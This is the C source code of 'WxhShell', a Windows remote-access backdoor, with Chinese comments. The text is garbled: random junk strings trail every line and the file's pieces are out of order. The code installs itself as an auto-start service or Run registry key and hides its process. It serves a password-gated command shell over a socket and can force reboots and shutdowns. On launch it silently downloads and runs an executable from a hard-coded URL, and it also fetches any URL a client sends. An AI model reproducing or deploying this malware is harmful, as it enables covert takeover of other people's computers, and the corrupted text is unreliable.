  case 'd': { "fb[23g%@k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T;4NRC  
    if(Boot(SHUTDOWN)) 49eD1h3'X[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2_>N/Z4T  
    else { :@yEQ#nFp  
    closesocket(wsh); \UA[  
    ExitThread(0); VMZMG$C  
    } Z*F3G#A  
    break; pd?M f=>#  
    } &< z1k-&!  
  // 获取shell ~-k9%v`  
  case 's': { W"scV@HKu  
    CmdShell(wsh); &0d# Y]D4`  
    closesocket(wsh); _YRFet[,m  
    ExitThread(0); )+#` CIv  
    break; MxKS4k  
  } yWmJ~/*lG  
  // 退出 x[p|G5  
  case 'x': { [+Iz@0q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U4'#T%*  
    CloseIt(wsh); Z{*\S0^ST  
    break; #<fRE"v:Q  
    } Lj({[H7D!  
  // 离开 g>%o #P7  
  case 'q': { -OV&Md:~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6jaEv#  
    closesocket(wsh); p T?}Kc  
    WSACleanup(); RH W]Z Pr<  
    exit(1); g&L!1<, p  
    break;  }FROB/  
        } ,)cM3nu  
  } s S+MqBh&I  
  } C[cbbp  
As&Sq-NWf  
  // 提示信息 %@b0[ZC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~ah~cwmpS  
} e+7"/icK  
  } K-)] 1BG  
J3V= 46Yc  
  return; c^xIm'eob  
} z _$%-6  
~7w"nIs<c  
// shell模块句柄 7~h<$8Y(T  
int CmdShell(SOCKET sock) ;+R&}[9,A)  
{ N{!i=A  
STARTUPINFO si; a=_g*OK}D  
ZeroMemory(&si,sizeof(si)); =ZznFVJ`={  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `,(4]tlL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; { 'eC`04E  
PROCESS_INFORMATION ProcessInfo; 1s&zMWC  
char cmdline[]="cmd"; F~vuM$+d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h+H%?:FX  
  return 0; L[fiU0^o  
} !PlEO 2at  
KK4`l}Fk:n  
// 自身启动模式 8NJqV+jn)t  
int StartFromService(void) _ A y9p[l  
{ C==hox7b  
typedef struct n38p!oS  
{ G_8RK,H.  
  DWORD ExitStatus; Ml{,  
  DWORD PebBaseAddress; u~:y\/Y6  
  DWORD AffinityMask; 6Pnjmw.HV  
  DWORD BasePriority; 76Cl\rV  
  ULONG UniqueProcessId; RLXL&  
  ULONG InheritedFromUniqueProcessId; (,\+tr8r8  
}   PROCESS_BASIC_INFORMATION; B]wk+8SMY.  
558V_y:  
PROCNTQSIP NtQueryInformationProcess; 1=c\Rr9]  
x+:UN'"r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {4}yKjW%z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8 ^2oWC#U(  
{6|G@ ""O  
  HANDLE             hProcess; myQagqRx  
  PROCESS_BASIC_INFORMATION pbi; 2WL|wwA  
_/$Bpr{R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~ 'cmSiz-  
  if(NULL == hInst ) return 0; CyFrb`%  
`2WFk8) F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H5B:;g@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A RuA<vQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a2O75 kWnm  
Yui3+}Ms  
  if (!NtQueryInformationProcess) return 0; iL&fgF"'  
S~bOUdV Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _ QI\  
  if(!hProcess) return 0; l`{\"#4  
%6,SKg p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k68T`Ub\W6  
z&)A,ryW0  
  CloseHandle(hProcess); .Iw AK/QS  
qPK*%Q<;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]L $\ #  
if(hProcess==NULL) return 0; gQg"j)  
o Q2Fjj  
HMODULE hMod; `/XY>T}-  
char procName[255]; 0B/,/KX  
unsigned long cbNeeded; $E~`\o%Ev  
gIa+5\qYY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  .-c4wm}  
Y@vTaE^w3  
  CloseHandle(hProcess); *boR`[Ond  
ay ;S4c/_  
if(strstr(procName,"services")) return 1; // 以服务启动 w^|*m/h|@u  
xb~yM%*c  
  return 0; // 注册表启动 _x'6]f{n  
} mbxZL<ua  
O!#g<`r{K  
// 主模块 85:=4N%  
int StartWxhshell(LPSTR lpCmdLine) ColV8oVnU  
{ m)t;9J5  
  SOCKET wsl; p!7FpxZY  
BOOL val=TRUE; 2d #1=+V  
  int port=0; Ts[_u@   
  struct sockaddr_in door; nbD*x|  
>}8j+t&T  
  if(wscfg.ws_autoins) Install(); EF[@$j   
gjwn7_  
port=atoi(lpCmdLine); D9=KXo^  
dO<ERY  
if(port<=0) port=wscfg.ws_port; IqaT?+O\?r  
ZF9z~9  
  WSADATA data; Z, Yb&b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P|tO<t6/9*  
.+3g*Dv{&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *=/ { HvJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EReZkvseC  
  door.sin_family = AF_INET; @]%IK(|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /tx]5`#@7]  
  door.sin_port = htons(port); :841qCW  
0WW2i{7`U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A5I)^B<(  
closesocket(wsl); eCU:Q  
return 1; .Ni\\  
} np"\19^  
s^G.]%iU  
  if(listen(wsl,2) == INVALID_SOCKET) { zII|9y  
closesocket(wsl); #Yj1w  
return 1; {0Yf]FQb-a  
} RNEp4x  
  Wxhshell(wsl); h,u, ^ r  
  WSACleanup(); ,F8Yn5h  
Ct<udO  
return 0; |PCm01NU!  
c \J:![x  
} mA}TJz  
.LnGL]/  
// 以NT服务方式启动 K*vt;L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  L2[($l  
{ O'p9u@kc  
DWORD   status = 0; T"}5}6rSG  
  DWORD   specificError = 0xfffffff; *MFIV02[N  
W dK #ZOR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z [}v{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T?CdZc.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MO]F1E?X  
  serviceStatus.dwWin32ExitCode     = 0; }#RakV4  
  serviceStatus.dwServiceSpecificExitCode = 0; 6xx<Y2@  
  serviceStatus.dwCheckPoint       = 0; YlJ@XpKM  
  serviceStatus.dwWaitHint       = 0; CAig ]=2'  
[B*x-R[FI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9rA0lqr]5  
  if (hServiceStatusHandle==0) return; D :4[ ~A  
@|Cz-J;D  
status = GetLastError(); g-4M3of  
  if (status!=NO_ERROR) 64 wv<r]5j  
{ Fo (fWvz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gS!:+G%  
    serviceStatus.dwCheckPoint       = 0; &T?RZ2  
    serviceStatus.dwWaitHint       = 0; EqkN3%IG  
    serviceStatus.dwWin32ExitCode     = status; htO +z7  
    serviceStatus.dwServiceSpecificExitCode = specificError; xjUT{iwS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jh?H.;**  
    return; WH#1 zv  
  } wy<S;   
.FP$m?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b"<liGh"n-  
  serviceStatus.dwCheckPoint       = 0; xk9%F?)  
  serviceStatus.dwWaitHint       = 0; imhwY#D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  sg^zH8,3  
} XFVE>/H  
y1jCg%'H  
// 处理NT服务事件,比如:启动、停止 H*?t^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >mbHy<<  
{ h6L&\~pf  
switch(fdwControl) #ZUI)9My@  
{ gMi0FO'  
case SERVICE_CONTROL_STOP: `f,/`''R  
  serviceStatus.dwWin32ExitCode = 0; P1. [  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CImWd.W9~  
  serviceStatus.dwCheckPoint   = 0; W<h)HhyG  
  serviceStatus.dwWaitHint     = 0; np|Sy;:  
  { +qN>.y!Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ydEoC$?0  
  } gi3F` m  
  return; 0Uz"^xO["  
case SERVICE_CONTROL_PAUSE: M5 LfRBO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z#9aP&8Q  
  break; MVpGWTH@F  
case SERVICE_CONTROL_CONTINUE: i'<[DjMDlm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;DQ ZT  
  break; GhAlx/K  
case SERVICE_CONTROL_INTERROGATE: d"1]4.c  
  break; Qab>|eSm  
}; L]|gZ&^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tH@Erh|%  
} l ~"^7H?4e  
93>jr<A  
// 标准应用程序主函数 BiLY(1,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n-2]M0 5O  
{ /obfw^  
oi7@s0@  
// 获取操作系统版本 4d4ZT?V[  
OsIsNt=GetOsVer(); 5:[0z5Hww  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 98c(<  
](]i 'fE>  
  // 从命令行安装 2 0h} [Q(  
  if(strpbrk(lpCmdLine,"iI")) Install(); h%na>G  
C\3rJy(VJ  
  // 下载执行文件 jxJ8(sr$  
if(wscfg.ws_downexe) { _IHV7*u{;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s*KhF'fN  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,Q$ q=E;X  
} wD}l$ & +  
& bm 1Fz  
if(!OsIsNt) { .bl/*s  
// 如果时win9x,隐藏进程并且设置为注册表启动 +zN-!5x  
HideProc();  R Z?jJm$  
StartWxhshell(lpCmdLine); G^|:N[>B  
} CT <7mi!  
else VR8-&N  
  if(StartFromService()) r| wS<cA2  
  // 以服务方式启动 <]t%8GB2V  
  StartServiceCtrlDispatcher(DispatchTable); z]y.W`i   
else B2vh-%63  
  // 普通方式启动 %g$o/A$  
  StartWxhshell(lpCmdLine); =_*Zn(>t`  
LKB$,pR~1l  
return 0; nsC3  
} Zd%k*BC  
dh iuI|?@  
oUlY?x1  
9wUkh}s  
=========================================== SYJD?&C;  
^ig' bw+WS  
3BJ0S.TF  
Tn e4  
K#d`Hyx  
k@J&IJ  
" ,AFu C <  
cd_yzpL@}J  
#include <stdio.h> )F>#*P  
#include <string.h> `5.'_3  
#include <windows.h> Z]Cq3~l  
#include <winsock2.h> {$ JYw{a  
#include <winsvc.h> 3z?> j]  
#include <urlmon.h> 19)i*\+  
xGg )Y#  
#pragma comment (lib, "Ws2_32.lib") 4N3R|  
#pragma comment (lib, "urlmon.lib") ;bib/  
}!r|1$,kL  
#define MAX_USER   100 // 最大客户端连接数 s};{ZAtE  
#define BUF_SOCK   200 // sock buffer @o _}g !9=  
#define KEY_BUFF   255 // 输入 buffer t\,PB{P:J  
zu{P#~21  
#define REBOOT     0   // 重启 q"J]%zO  
#define SHUTDOWN   1   // 关机 2r?G6D|  
Jhhb7uU+  
#define DEF_PORT   5000 // 监听端口 q,|j]+9q  
kJsN|=  
#define REG_LEN     16   // 注册表键长度 JIOR4'9  
#define SVC_LEN     80   // NT服务名长度 IueFx u  
Be2DN5)  
// 从dll定义API "7F?@D$e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WlC:l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g7`LEF <A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K`zdc`/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Hk.TM2{w  
)U:m:cr<  
// wxhshell配置信息 | rtD.,m   
struct WSCFG { dOH &  
  int ws_port;         // 监听端口 :>f )g  
  char ws_passstr[REG_LEN]; // 口令 %RRNJf}z  
  int ws_autoins;       // 安装标记, 1=yes 0=no jcf7n`L  
  char ws_regname[REG_LEN]; // 注册表键名 "_NN3lD)X  
  char ws_svcname[REG_LEN]; // 服务名 #'szP\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rcG"o\g@+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $ >eCqC3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j-}O0~Jz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kv{za4,&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eJX9_6m-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (vJNHY M  
G}raA%  
}; xdt- ;w|  
:J&oX <nF^  
// default Wxhshell configuration .|fH y  
struct WSCFG wscfg={DEF_PORT, 16(QR-  
    "xuhuanlingzhe", "`e{/7I  
    1, V6X 0^g  
    "Wxhshell", 3;{kJQ  
    "Wxhshell", qqY"*uJ'  
            "WxhShell Service", m&,(Jla  
    "Wrsky Windows CmdShell Service", iz PDd{[  
    "Please Input Your Password: ", SO'vp z{  
  1, n 0L^e  
  "http://www.wrsky.com/wxhshell.exe", x g  
  "Wxhshell.exe" xY(*.T9K  
    }; zHRplm+ i  
=-n}[Y}A  
// 消息定义模块 JjTegQN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0 /U{p,r6`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {hrX'2:ClT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cR<fJ[*  
char *msg_ws_ext="\n\rExit."; `b7t4d*  
char *msg_ws_end="\n\rQuit."; $uVHSH5l  
char *msg_ws_boot="\n\rReboot..."; v PG},m~-  
char *msg_ws_poff="\n\rShutdown..."; -x`@6  
char *msg_ws_down="\n\rSave to "; V {ddr:]4  
W.KDVE$}f  
char *msg_ws_err="\n\rErr!"; #.)0xfGW)n  
char *msg_ws_ok="\n\rOK!"; SoSb+\* @h  
>_T-u<E  
char ExeFile[MAX_PATH]; LFRlzz;  
int nUser = 0; -gX1-,dE  
HANDLE handles[MAX_USER]; J}K$(;:  
int OsIsNt; 00~mOK;1  
(gWm,fI RZ  
SERVICE_STATUS       serviceStatus; 56kI 5:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S3 Xl  
[?N~s:}  
// 函数声明 oQ[f,7u  
int Install(void);  S9FE  
int Uninstall(void); Y O}<Ytx  
int DownloadFile(char *sURL, SOCKET wsh); M@v.c; Lt  
int Boot(int flag); T!)(Dv8@F  
void HideProc(void); 7n<::k\lb  
int GetOsVer(void); 5MJS ~(  
int Wxhshell(SOCKET wsl); R`E~ZWC4V  
void TalkWithClient(void *cs); -;WGS o  
int CmdShell(SOCKET sock); G mA< g  
int StartFromService(void); vy:Z/1q  
int StartWxhshell(LPSTR lpCmdLine); LsU9 .  
Fd9 [pU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A;?|& `f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {9.|2%a  
Wt~BU.  
// 数据结构和表定义 ml }{|Yz  
SERVICE_TABLE_ENTRY DispatchTable[] = ~q25Yx9W@  
{ -=\c_\O  
{wscfg.ws_svcname, NTServiceMain}, 0{-q#/  
{NULL, NULL} _u QOHwn  
}; )MTOU47U  
@GW #&\yM  
// 自我安装 j*r{2f4Rt  
int Install(void) t'k$&l}+  
{ FJ)$f?=Qd  
  char svExeFile[MAX_PATH]; ] >E s4 s  
  HKEY key; 4~Q/"hMSkO  
  strcpy(svExeFile,ExeFile); amY!qg0P*  
~oY^;/ j  
// 如果是win9x系统,修改注册表设为自启动 s?L  
if(!OsIsNt) { &&>ekG 9@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P71Lqy)5}A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0YDR1dO(*  
  RegCloseKey(key); w ;^ra<*<+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XU(eEnmo m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ER.}CM6{[  
  RegCloseKey(key); O3kA;[f;  
  return 0; ]~3V}z,T*  
    } V1M.JU  
  } ., 6-u  
} c9h6C  
else { zIAD9mQex  
JZyAXm%  
// 如果是NT以上系统,安装为系统服务 1yu4emye4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #S"nF@   
if (schSCManager!=0) ^k9I(f^c-_  
{ qY!Zt_Be6  
  SC_HANDLE schService = CreateService #QMz<P/Gl6  
  ( 9'bwWBf7  
  schSCManager, 8bld3p"^  
  wscfg.ws_svcname, {_v#~595  
  wscfg.ws_svcdisp, YUk\Q%  
  SERVICE_ALL_ACCESS, %1+4_g9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~Z' ?LV<t  
  SERVICE_AUTO_START, /mzlH  
  SERVICE_ERROR_NORMAL, 9XB8VKu8  
  svExeFile, '^UI,"Ti  
  NULL, b d!Y\OD  
  NULL, 7-fb.V9  
  NULL, kE1TP]|  
  NULL, L.JT[zOfb  
  NULL NK H@+,+V  
  ); aK^q_ghh[  
  if (schService!=0) :^h$AWR^f  
  { uoh7Sz5!^  
  CloseServiceHandle(schService); p9-K_dw3X@  
  CloseServiceHandle(schSCManager); .(k|wX[Fu~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bV3|6]k^  
  strcat(svExeFile,wscfg.ws_svcname);  z+X}HL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (TT}6j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f]sr RYSR  
  RegCloseKey(key); $/Uq0U  
  return 0; a0H+.W+]  
    } l+0oS'`V*L  
  } /Lr.e%  
  CloseServiceHandle(schSCManager); NC6&x=!3  
} (KZ{^X?a  
} 5*u+q2\F  
8'y$M] e9n  
return 1; SNk=b6`9  
} j8:\%|  
44j*KsBf  
// 自我卸载 >Y@H4LF;1x  
int Uninstall(void) )MT}+ai  
{ `r 4fm`<  
  HKEY key; 5L}/&^E#p  
+^F Zq$NP  
if(!OsIsNt) { %JTpI`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q{x8_E!L  
  RegDeleteValue(key,wscfg.ws_regname);  &q*Aj17  
  RegCloseKey(key); C~exi[3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -jm Y)(\  
  RegDeleteValue(key,wscfg.ws_regname); C\hM =%  
  RegCloseKey(key); (A.C]hD  
  return 0; * kh tJ]=  
  } |CbikE}kL  
} goWuw}?  
} H3oFORh  
else { pT6$DB#  
:\_ 5oVb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Zx>=tx}  
if (schSCManager!=0) 86a\+Kz%%L  
{ 9} .z;prz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8zq=N#x  
  if (schService!=0) $<[79al#  
  { )D%~` ,#pQ  
  if(DeleteService(schService)!=0) { [()koU#w.  
  CloseServiceHandle(schService); u:  
  CloseServiceHandle(schSCManager); F,CT Z~  
  return 0; 7 _[L o4_  
  } X2"/%!65{  
  CloseServiceHandle(schService); p5*jzQ  
  } K)iF>y|{*q  
  CloseServiceHandle(schSCManager); ]hV*r@d  
}  4Wp=y  
} G^@5H/)  
1k^oS$UT  
return 1; "$vRMpW:  
} /BL4<T f  
wb ;xRP"w  
// 从指定url下载文件 (^>J&[=  
int DownloadFile(char *sURL, SOCKET wsh) #[[ en  
{ PQE =D0  
  HRESULT hr; :rP=t ,  
char seps[]= "/"; 7uk[Oy<_  
char *token; !bP@n  
char *file; V28M lP  
char myURL[MAX_PATH]; MpOc  
char myFILE[MAX_PATH]; W} ofAkF  
tT._VK]o&R  
strcpy(myURL,sURL); !PE]C!*gv&  
  token=strtok(myURL,seps); {2gwk8  
  while(token!=NULL) f?)-}\[IR{  
  { 5Yndc)Z  
    file=token;  _','9|  
  token=strtok(NULL,seps); DW3G  
  } &9>vl*  
K.yb ^dg5  
GetCurrentDirectory(MAX_PATH,myFILE); -7|H}!DFT  
strcat(myFILE, "\\"); (QiAisE  
strcat(myFILE, file); VS|2|n1<6  
  send(wsh,myFILE,strlen(myFILE),0); L \iFNT}g`  
send(wsh,"...",3,0); T6kdS]4-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f<6lf7qzC  
  if(hr==S_OK) EBmt9S  
return 0; bQ5\ ]5M  
else .o}v#W+st  
return 1; +W+|%qM,\  
~bpgSP"  
} HLi%%"'  
t ZB<on<.)  
// 系统电源模块 uvS)8-o&F  
int Boot(int flag) xe$_aBU  
{ Dum9lj  
  HANDLE hToken; J|rq*XD}q  
  TOKEN_PRIVILEGES tkp; ??/ 'kmd  
kAGBdaJ"  
  if(OsIsNt) { rU(+T0t?I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3T0"" !Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >c}u>]D  
    tkp.PrivilegeCount = 1; Ssg&QI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p{dj~ &v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;]:@n;c\  
if(flag==REBOOT) { _h1mF<\ X^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Srd4))2/0  
  return 0; ] @fk] ]R  
} 8Xs8A.  
else { J<lO= +mg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FML(4BY,  
  return 0; Y`wSv NU  
} 6;5Ss?ep  
  } Yu2Bkq+  
  else { T^]}Oy@e,J  
if(flag==REBOOT) { Eu04e N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IV)j1  
  return 0; S:ztXhif>  
} FHI ;)wn=  
else { A\5L 7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;i+#fQO7Q  
  return 0; V Jll  
} Dv`c<+q(#  
} 63B?.  
<p"iY}x[H  
return 1; ufT`"i  
} h@@=M  
7. ;3e@s  
// win9x进程隐藏模块 ;,e2egC'  
void HideProc(void) -A!%*9Z  
{ [j'X;tVX{  
FaJ&GOM,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u,4eCxYE$  
  if ( hKernel != NULL ) 3=ymm^  
  { wLr_-vJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )53y AyP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .kfI i^z  
    FreeLibrary(hKernel); H$4:lH&(  
  } <2qr}K{'A  
,zY$8y]  
return;  ; 4~hB  
} cYt!n5w~W  
]OzUGXxo~  
// 获取操作系统版本 B^9j@3Ux  
int GetOsVer(void) *;*r 8[U}q  
{ \)|hogI|f  
  OSVERSIONINFO winfo; 4{`{WI{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^y%T~dLkp'  
  GetVersionEx(&winfo); yz8jw:d^-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n ?Nt6U  
  return 1; [ibu/ W$  
  else sON|w86B  
  return 0; LFtt gY  
} `W*U4?M  
[hj6N*4y  
// 客户端句柄模块 ySDH "|0  
int Wxhshell(SOCKET wsl) /I0%Z+`=  
{ Y0 -n\|  
  SOCKET wsh; Jg| XH L)  
  struct sockaddr_in client; Jze:[MYS  
  DWORD myID; [HZv8HU|  
s!7y  
  while(nUser<MAX_USER) Y/zj[>  
{ N//K Ph  
  int nSize=sizeof(client); %8~NqS|=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YcpoL@ab  
  if(wsh==INVALID_SOCKET) return 1; jtc]>]6i  
AkQ ~k0i}b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;MdlwQ$`  
if(handles[nUser]==0) N[ Og43Y  
  closesocket(wsh); B ,epzI  
else G*P#]eO  
  nUser++; kL"2=7m;  
  } N5b!.B x-w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uk<9&{  
b}TS0+TF  
  return 0; ckE-",G  
} ?+}_1x`  
vnZC,J `  
// 关闭 socket ZX./P0  
void CloseIt(SOCKET wsh) n8ZZ#}Nhg  
{ J]pir4&j  
closesocket(wsh); i6Emhji  
nUser--; 8NAON5.!  
ExitThread(0); sN01rtB(UT  
} P:MT*ra*,  
$C$V%5aA  
// 客户端请求句柄 K^<BW(s  
void TalkWithClient(void *cs) pJ'"j 6Q  
{ Od,qbU4O  
1ztG;\  
  SOCKET wsh=(SOCKET)cs; R|87%&6']  
  char pwd[SVC_LEN]; a'yK~;+_9  
  char cmd[KEY_BUFF]; }l} Bo.C  
char chr[1]; 68C%B9.b'  
int i,j; CU2*z(]&  
PmEsN&YP]  
  while (nUser < MAX_USER) { ^'{Fh"5  
V#gK$uv  
if(wscfg.ws_passstr) { sLT3Y}IO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XW)lDiJl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1JG'%8}#8  
  //ZeroMemory(pwd,KEY_BUFF); C{xaENp  
      i=0; yZU6xY  
  while(i<SVC_LEN) { IDriGZZ<)6  
#r~# I}U  
  // 设置超时 r1{@Ucw2  
  fd_set FdRead; .:%0E`E  
  struct timeval TimeOut; oDAXiY$u  
  FD_ZERO(&FdRead); a P@N)"  
  FD_SET(wsh,&FdRead); >rmqBDKaQ  
  TimeOut.tv_sec=8; ,Np0wg0  
  TimeOut.tv_usec=0; Q1I6$8:7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %axh`xK#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `MN4uC  
,~@X{7U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \\H}`0m:  
  pwd=chr[0]; u$Jz~:=,  
  if(chr[0]==0xd || chr[0]==0xa) { .glA gt  
  pwd=0; 17"uf.G  
  break; x,@B(9No  
  } W ]?G}Q;  
  i++; Vl=l?A8  
    } -4IE]'##  
e>7>j@(K]  
  // 如果是非法用户,关闭 socket }t=!(GOb}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b;W3j   
} P90yI  
G+"t/?/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g<; q.ZylT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U175{N%3  
6"5A%{ J  
while(1) { kY|utoAP  
U} e!Wjrc  
  ZeroMemory(cmd,KEY_BUFF); #64-~NVL_  
)D5"ap]fX  
      // 自动支持客户端 telnet标准   s_OF(o  
  j=0; M l{Z  
  while(j<KEY_BUFF) { TA`1U;c{n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ky!Y"   
  cmd[j]=chr[0]; n,V[eW#m'L  
  if(chr[0]==0xa || chr[0]==0xd) { Xq]w<$  
  cmd[j]=0; r?lf($ D*  
  break; vrhT<+q  
  } gx8ouOh  
  j++; sV{,S>s   
    } DJXmGt]  
T@:Wp4>69  
  // 下载文件 RXpw!  
  if(strstr(cmd,"http://")) { 9N%We|L,c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ug!s7fo^  
  if(DownloadFile(cmd,wsh)) nwB_8mN|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ustv{:7v  
  else J!v3i*j\  
